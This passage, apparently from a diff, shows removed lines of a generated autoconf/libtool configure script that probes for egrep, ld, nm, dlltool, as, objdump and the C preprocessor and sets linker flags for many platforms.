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- # Best one so far, save it but keep looking for a better one
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- ac_path_EGREP_max=$ac_count
- fi
- # 10*(2^10) chars as input seems more than enough
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- done
- rm -f conftest.in conftest.tmp conftest.nl conftest.out;;
-esac
-
- $ac_path_EGREP_found && break 3
- done
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-else
- ac_cv_path_EGREP=$EGREP
-fi
-
- fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5
-$as_echo "$ac_cv_path_EGREP" >&6; }
- EGREP="$ac_cv_path_EGREP"
-
-
-
-@%:@ Check whether --with-gnu-ld was given.
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- with_gnu_ld=no
-fi
-
-ac_prog=ld
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- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5
-$as_echo_n "checking for ld used by $CC... " >&6; }
- case $host in
- *-*-mingw*)
- # gcc leaves a trailing carriage return which upsets mingw
- ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
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- re_direlt='/[^/][^/]*/\.\./'
- # Canonicalize the pathname of ld
- ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'`
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- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
- # If it is relative, then search for the first ld in PATH.
- with_gnu_ld=unknown
- ;;
- esac
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- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5
-$as_echo_n "checking for GNU ld... " >&6; }
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- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5
-$as_echo_n "checking for non-GNU ld... " >&6; }
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- $as_echo_n "(cached) " >&6
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- if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
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- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi
-fi
-
-LD="$lt_cv_path_LD"
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-$as_echo "$LD" >&6; }
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- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5
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- $as_echo_n "(cached) " >&6
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- # I'd rather use --version here, but apparently some GNU lds only accept -v.
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- lt_cv_prog_gnu_ld=yes
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- lt_cv_prog_gnu_ld=no
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_gnu_ld" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
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- lt_cv_ld_reload_flag='-r'
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_reload_flag" >&5
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-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for BSD-compatible nm" >&5
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- $as_echo_n "(cached) " >&6
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- if test -n "$NM"; then
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- lt_cv_path_NM="$NM"
-else
- lt_nm_to_check="${ac_tool_prefix}nm"
- if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
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- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- tmp_nm="$ac_dir/$lt_tmp_nm"
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- # Check to see if the nm accepts a BSD-compat flag.
- # Adding the `sed 1q' prevents false positives on HP-UX, which says:
- # nm: unknown option "B" ignored
- # Tru64's nm complains that /dev/null is an invalid object file
- case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
- */dev/null* | *'Invalid file or object type'*)
- lt_cv_path_NM="$tmp_nm -B"
- break
- ;;
- *)
- case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
- */dev/null*)
- lt_cv_path_NM="$tmp_nm -p"
- break
- ;;
- *)
- lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
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- ;;
- esac
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
- done
- test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_NM" >&5
-$as_echo "$lt_cv_path_NM" >&6; }
-NM="$lt_cv_path_NM"
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ln -s works" >&5
-$as_echo_n "checking whether ln -s works... " >&6; }
-LN_S=$as_ln_s
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-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no, using $LN_S" >&5
-$as_echo "no, using $LN_S" >&6; }
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-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to recognise dependent libraries" >&5
-$as_echo_n "checking how to recognise dependent libraries... " >&6; }
-if ${lt_cv_deplibs_check_method+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_file_magic_cmd='$MAGIC_CMD'
-lt_cv_file_magic_test_file=
-lt_cv_deplibs_check_method='unknown'
-# Need to set the preceding variable on all platforms that support
-# interlibrary dependencies.
-# 'none' -- dependencies not supported.
-# `unknown' -- same as none, but documents that we really don't know.
-# 'pass_all' -- all dependencies passed with no checks.
-# 'test_compile' -- check by making test program.
-# 'file_magic [[regex]]' -- check by looking for files in library path
-# which responds to the $file_magic_cmd with a given extended regex.
-# If you have `file' or equivalent on your system and you're not sure
-# whether `pass_all' will *always* work, you probably want this one.
-
-case $host_os in
-aix4* | aix5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-beos*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-bsdi[45]*)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)'
- lt_cv_file_magic_cmd='/usr/bin/file -L'
- lt_cv_file_magic_test_file=/shlib/libc.so
- ;;
-
-cygwin*)
- # func_win32_libid is a shell function defined in ltmain.sh
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- ;;
-
-mingw* | pw32*)
- # Base MSYS/MinGW do not provide the 'file' command needed by
- # func_win32_libid shell function, so use a weaker test based on 'objdump'.
- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- ;;
-
-darwin* | rhapsody*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-freebsd* | kfreebsd*-gnu | dragonfly*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- case $host_cpu in
- i*86 )
- # Not sure whether the presence of OpenBSD here was a mistake.
- # Let's accept both of them until this is cleared up.
- lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[3-9]86 (compact )?demand paged shared library'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
- ;;
- esac
- else
- lt_cv_deplibs_check_method=pass_all
- fi
- ;;
-
-gnu*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-hpux10.20* | hpux11*)
- lt_cv_file_magic_cmd=/usr/bin/file
- case $host_cpu in
- ia64*)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64'
- lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so
- ;;
- hppa*64*)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'
- lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
- ;;
- *)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9].[0-9]) shared library'
- lt_cv_file_magic_test_file=/usr/lib/libc.sl
- ;;
- esac
- ;;
-
-interix3*)
- # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|\.a)$'
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $LD in
- *-32|*"-32 ") libmagic=32-bit;;
- *-n32|*"-n32 ") libmagic=N32;;
- *-64|*"-64 ") libmagic=64-bit;;
- *) libmagic=never-match;;
- esac
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-# This must be Linux ELF.
-linux*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
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- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$'
- fi
- ;;
-
-newos6*)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=/usr/lib/libnls.so
- ;;
-
-nto-qnx*)
- lt_cv_deplibs_check_method=unknown
- ;;
-
-openbsd*)
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
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- ;;
-
-osf3* | osf4* | osf5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-solaris*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-sysv4 | sysv4.3*)
- case $host_vendor in
- motorola)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]'
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- ;;
- ncr)
- lt_cv_deplibs_check_method=pass_all
- ;;
- sequent)
- lt_cv_file_magic_cmd='/bin/file'
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- sni)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib"
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- siemens)
- lt_cv_deplibs_check_method=pass_all
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- lt_cv_deplibs_check_method=pass_all
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- esac
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-esac
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
-$as_echo "$lt_cv_deplibs_check_method" >&6; }
-file_magic_cmd=$lt_cv_file_magic_cmd
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-
-
-
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-@%:@ Check whether --enable-libtool-lock was given.
-if test "${enable_libtool_lock+set}" = set; then :
- enableval=$enable_libtool_lock;
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-
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-# Some flags need to be propagated to the compiler or linker for good
-# libtool support.
-case $host in
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- echo 'int i;' > conftest.$ac_ext
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- HPUX_IA64_MODE="32"
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- *ELF-64*)
- HPUX_IA64_MODE="64"
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- esac
- fi
- rm -rf conftest*
- ;;
-*-*-irix6*)
- # Find out which ABI we are using.
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- ac_status=$?
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- *N32*)
- LD="${LD-ld} -melf32bmipn32"
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- LD="${LD-ld} -melf64bmip"
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- esac
- else
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- LD="${LD-ld} -32"
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- *N32*)
- LD="${LD-ld} -n32"
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- *64-bit*)
- LD="${LD-ld} -64"
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- esac
- fi
- fi
- rm -rf conftest*
- ;;
-
-x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
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- (eval $ac_compile) 2>&5
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- case $host in
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- LD="${LD-ld} -m elf_i386"
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- ppc64-*linux*|powerpc64-*linux*)
- LD="${LD-ld} -m elf32ppclinux"
- ;;
- s390x-*linux*)
- LD="${LD-ld} -m elf_s390"
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- sparc64-*linux*)
- LD="${LD-ld} -m elf32_sparc"
- ;;
- esac
- ;;
- *64-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_x86_64"
- ;;
- ppc*-*linux*|powerpc*-*linux*)
- LD="${LD-ld} -m elf64ppc"
- ;;
- s390*-*linux*)
- LD="${LD-ld} -m elf64_s390"
- ;;
- sparc*-*linux*)
- LD="${LD-ld} -m elf64_sparc"
- ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-sco3.2v5*)
- # On SCO OpenServer 5, we need -belf to get full-featured binaries.
- SAVE_CFLAGS="$CFLAGS"
- CFLAGS="$CFLAGS -belf"
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-$as_echo_n "checking whether the C compiler needs -belf... " >&6; }
-if ${lt_cv_cc_needs_belf+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
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-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
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-{
-
- ;
- return 0;
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-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- lt_cv_cc_needs_belf=yes
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- lt_cv_cc_needs_belf=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5
-$as_echo "$lt_cv_cc_needs_belf" >&6; }
- if test x"$lt_cv_cc_needs_belf" != x"yes"; then
- # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
- CFLAGS="$SAVE_CFLAGS"
- fi
- ;;
-sparc*-*solaris*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- case `/usr/bin/file conftest.o` in
- *64-bit*)
- case $lt_cv_prog_gnu_ld in
- yes*) LD="${LD-ld} -m elf64_sparc" ;;
- *) LD="${LD-ld} -64" ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-cygwin* | *-*-mingw* | *-*-pw32*)
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_DLLTOOL+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$DLLTOOL"; then
- ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-DLLTOOL=$ac_cv_prog_DLLTOOL
-if test -n "$DLLTOOL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-$as_echo "$DLLTOOL" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_DLLTOOL"; then
- ac_ct_DLLTOOL=$DLLTOOL
- # Extract the first word of "dlltool", so it can be a program name with args.
-set dummy dlltool; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_DLLTOOL"; then
- ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_DLLTOOL="dlltool"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-if test -n "$ac_ct_DLLTOOL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-$as_echo "$ac_ct_DLLTOOL" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_DLLTOOL" = x; then
- DLLTOOL="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- DLLTOOL=$ac_ct_DLLTOOL
- fi
-else
- DLLTOOL="$ac_cv_prog_DLLTOOL"
-fi
-
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args.
-set dummy ${ac_tool_prefix}as; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_AS+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$AS"; then
- ac_cv_prog_AS="$AS" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_AS="${ac_tool_prefix}as"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-AS=$ac_cv_prog_AS
-if test -n "$AS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AS" >&5
-$as_echo "$AS" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_AS"; then
- ac_ct_AS=$AS
- # Extract the first word of "as", so it can be a program name with args.
-set dummy as; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_AS+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_AS"; then
- ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_AS="as"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_AS=$ac_cv_prog_ac_ct_AS
-if test -n "$ac_ct_AS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AS" >&5
-$as_echo "$ac_ct_AS" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_AS" = x; then
- AS="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- AS=$ac_ct_AS
- fi
-else
- AS="$ac_cv_prog_AS"
-fi
-
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args.
-set dummy ${ac_tool_prefix}objdump; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_OBJDUMP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$OBJDUMP"; then
- ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-OBJDUMP=$ac_cv_prog_OBJDUMP
-if test -n "$OBJDUMP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5
-$as_echo "$OBJDUMP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_OBJDUMP"; then
- ac_ct_OBJDUMP=$OBJDUMP
- # Extract the first word of "objdump", so it can be a program name with args.
-set dummy objdump; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_OBJDUMP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_OBJDUMP"; then
- ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_OBJDUMP="objdump"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP
-if test -n "$ac_ct_OBJDUMP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5
-$as_echo "$ac_ct_OBJDUMP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_OBJDUMP" = x; then
- OBJDUMP="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- OBJDUMP=$ac_ct_OBJDUMP
- fi
-else
- OBJDUMP="$ac_cv_prog_OBJDUMP"
-fi
-
- ;;
-
-esac
-
-need_locks="$enable_libtool_lock"
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5
-$as_echo_n "checking how to run the C preprocessor... " >&6; }
-# On Suns, sometimes $CPP names a directory.
-if test -n "$CPP" && test -d "$CPP"; then
- CPP=
-fi
-if test -z "$CPP"; then
- if ${ac_cv_prog_CPP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # Double quotes because CPP needs to be expanded
- for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp"
- do
- ac_preproc_ok=false
-for ac_c_preproc_warn_flag in '' yes
-do
- # Use a header file that comes with gcc, so configuring glibc
- # with a fresh cross-compiler works.
- # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
- # <limits.h> exists even on freestanding compilers.
- # On the NeXT, cc -E runs the code through the compiler's parser,
- # not just through cpp. "Syntax error" is here to catch this case.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@ifdef __STDC__
-@%:@ include <limits.h>
-@%:@else
-@%:@ include <assert.h>
-@%:@endif
- Syntax error
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
-
-else
- # Broken: fails on valid input.
-continue
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
- # OK, works on sane cases. Now check whether nonexistent headers
- # can be detected and how.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <ac_nonexistent.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # Broken: success on invalid input.
-continue
-else
- # Passes both tests.
-ac_preproc_ok=:
-break
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
-done
-# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
-rm -f conftest.i conftest.err conftest.$ac_ext
-if $ac_preproc_ok; then :
- break
-fi
-
- done
- ac_cv_prog_CPP=$CPP
-
-fi
- CPP=$ac_cv_prog_CPP
-else
- ac_cv_prog_CPP=$CPP
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5
-$as_echo "$CPP" >&6; }
-ac_preproc_ok=false
-for ac_c_preproc_warn_flag in '' yes
-do
- # Use a header file that comes with gcc, so configuring glibc
- # with a fresh cross-compiler works.
- # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
- # <limits.h> exists even on freestanding compilers.
- # On the NeXT, cc -E runs the code through the compiler's parser,
- # not just through cpp. "Syntax error" is here to catch this case.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@ifdef __STDC__
-@%:@ include <limits.h>
-@%:@else
-@%:@ include <assert.h>
-@%:@endif
- Syntax error
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
-
-else
- # Broken: fails on valid input.
-continue
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
- # OK, works on sane cases. Now check whether nonexistent headers
- # can be detected and how.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <ac_nonexistent.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # Broken: success on invalid input.
-continue
-else
- # Passes both tests.
-ac_preproc_ok=:
-break
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
-done
-# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
-rm -f conftest.i conftest.err conftest.$ac_ext
-if $ac_preproc_ok; then :
-
-else
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
-$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
-as_fn_error $? "C preprocessor \"$CPP\" fails sanity check
-See \`config.log' for more details" "$LINENO" 5; }
-fi
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5
-$as_echo_n "checking for ANSI C header files... " >&6; }
-if ${ac_cv_header_stdc+:} false; then :
- $as_echo_n "(cached) " >&6
-else
